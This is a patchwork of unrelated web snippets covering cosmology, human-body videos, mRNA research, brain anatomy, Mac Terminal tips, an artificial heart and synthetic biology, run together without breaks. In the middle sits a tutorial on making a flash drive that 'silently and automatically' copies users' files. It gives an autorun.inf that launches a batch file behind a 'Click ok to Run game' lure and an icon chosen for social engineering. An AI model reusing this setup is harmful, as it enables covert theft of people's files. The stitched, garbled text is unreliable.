Brief Answers to Cosmic Questions Structure of the Universe Does the Universe have an edge, beyond which there is nothing? Are the galaxies arranged on the surface of a sphere? Why can't we see the whole universe? Does the term "universe" refer to space, or to the matter in it, or to both? Evolution of the Universe Did the Universe expand from a point? More about the Big Bang When they say "the universe is expanding," what exactly is expanding? Structure of the Universe Does the Universe have an edge, beyond which there is nothing? Are the galaxies arranged on the surface of a sphere? Why can't we see the whole universe? If you could suddenly freeze time everywhere in the universe, and magically survey all of creation, you would find galaxies extending out far beyond what we can see today. Does the term "universe" refer to space, or to the matter in it, or to both? Today, the situation is reversed. Discovering the properties of space remains one of the deepest and most important problems in modern science.
49 Fascinating YouTube Videos to Learn About the Human Body As any doctor, nurse practitioner or other health care professional knows, the body is an interesting system. In many ways, it’s like a machine, with many complex parts. There is a lot to learn about the body and how it works, as well as how its different systems interact to create a larger system. Brain Your brain directs the rest of the body’s functions. How the Body Works: The Regions of the Brain: An interesting look at the different regions of the brain, and what they are responsible for.Brain Anatomy Function: How brain works? Nervous System The nervous system brings messages from the brain to all over the body. How the Body Works: The Anatomy of the Central Nervous System: Find out how the nervous system is set up, and how it works.How the Body Works: Anatomy of Nerve: The nervous system is made up of thousands of nerves.

Film Production Apps How to make flash drive that copy's users files silently and automatically Ok there is no order in the file creation process just that you have all files created and on the flash drive. I will start out with the autorun.inf. This file is used when you insert the flash drive into said computer. Also used to change the thumb drive icon to something more acceptable for social engineering. Here is the code, you will have to open a simple word editor such as word, you can past this code into word and edit to your hearts content. [autorun] icon=drive.icoopen=launch.bataction=Click ok to Run game for Windowsshell\open\command=launch.bat a couple of notes the code is between the lines not the lines at all so dont put them in your autorun file. also when you save this file after editing or pasing this in the editor make shure you save it as all files and put a .inf after it... like this autorun.inf look at pic two if you have any issues. You can change the icon to your tastes what you will have to do is find a .png a png file is an icon file.
Genetic green light By Fiona Macrae Updated: 07:27 GMT, 16 June 2011 Scientists have altered the ‘code of life’ in a breakthrough that could lead to cures for hundreds of devastating diseases. The discovery, hailed as ‘the new miracle of modern medicine’ could lead to ways of ending the symptoms and the pain caused by up to a third of genetic conditions. These include cystic fibrosis, Britain’s most common life-threatening inherited condition, haemophilia and Duchenne muscular dystrophy, an incurable condition that cripples 100 babies born in the UK every year. The excitement centres around mRNA - the 'cousin' of DNA that contains the genetic sequence used to make the proteins needed to keep our bodies working properly Various tumours could also be in its grasp, the journal Nature reports. The excitement centres around mRNA – the ‘cousin’ of DNA that contains the genetic sequence used to make the proteins needed to keep our bodies, and the organs within them, working properly.
Brain Atlas - Introduction The central nervous system (CNS) consists of the brain and the spinal cord, immersed in the cerebrospinal fluid (CSF). Weighing about 3 pounds (1.4 kilograms), the brain consists of three main structures: the cerebrum, the cerebellum and the brainstem. Cerebrum - divided into two hemispheres (left and right), each consists of four lobes (frontal, parietal, occipital and temporal). The outer layer of the brain is known as the cerebral cortex or the ‘grey matter’. It covers the nuclei deep within the cerebral hemisphere e.g. the basal ganglia; the structure called the thalamus, and the ‘white matter’, which consists mostly of myelinated axons. – closely packed neuron cell bodies form the grey matter of the brain. Cerebellum – responsible for psychomotor function, the cerebellum co-ordinates sensory input from the inner ear and the muscles to provide accurate control of position and movement.

30 Fantastic Geeky Tricks to Get The Most From Your Mac If you’re one of those Mac users that loves to dig in and play with hidden features and settings, this post is for you. Below you’ll find 30 tips and tricks to help both seasoned and beginner Mac users to get the most out of their OS X experience. We’ll cover everything from obscure Terminal commands to keyboard shortcuts that every Mac user should know and use. Let’s get started! Dock Tricks Recent Items Stack Stacks are quite the handy addition to your Mac’s dock and the good people at Mac OS X Hints figured out a way to make them even more useful by creating a stack that automatically contains your most recent applications. These can of course be found under the Apple menu as well but it’s much more convenient to have them right in the dock. Recent Items Stack To accomplish this feat, simply copy and paste the line below into Terminal. defaults write com.apple.dock persistent-others -array-add '{ "tile-data" = { "list-type" = 1; }; "tile-type" = "recents-tile"; }' Stacks List View Stationery

Artifiical Heart For decades, the quest for the perfect artificial heart has been wrought with many technical challenges that have made it difficult to design a device that mimics the living, pumping organ. But Drs. Billy Cohn and Bud Frazier of the Texas Heart Institute say that trying to copy the function of the living organ has been part of the problem. They’ve developed a non-beating, non-pumping machine that delivers blood through the body with the use of simple whirling rotors. Although such a device would leave a person without a pulse, it could work better than pumping devices, thereby prolonging the patient’s life while also reducing the chance of infection or other complications. NEWS: Boy, 15, Gets a Robotic Heart Inside the institute’s animal research laboratory resides an 8-month-old calf. “If you listened to her chest with a stethoscope, you wouldn’t hear a heartbeat,” Cohn told NPR station KUHF in Houston.

BRAINMETA.COM - NEUROSCIENCE, CONSCIOUSNESS, BRAIN, MIND, MIND-BRAIN, NEUROINFORMATICS, BRAIN MAPS, BRAIN ATLASES Triple Helix: Designing a New Molecule of Life: Scientific American For all the magnificent diversity of life on this planet, ranging from tiny bacteria to majestic blue whales, from sunshine-harvesting plants to mineral-digesting endoliths miles underground, only one kind of “life as we know it” exists. All these organisms are based on nucleic acids—DNA and RNA—and proteins, working together more or less as described by the so-called central dogma of molecular biology: DNA stores information that is transcribed into RNA, which then serves as a template for producing a protein. The proteins, in turn, serve as important structural elements in tissues and, as enzymes, are the cell’s workhorses. Yet scientists dream of synthesizing life that is utterly alien to this world—both to better understand the minimum components required for life (as part of the quest to uncover the essence of life and how life originated on earth) and, frankly, to see if they can do it.
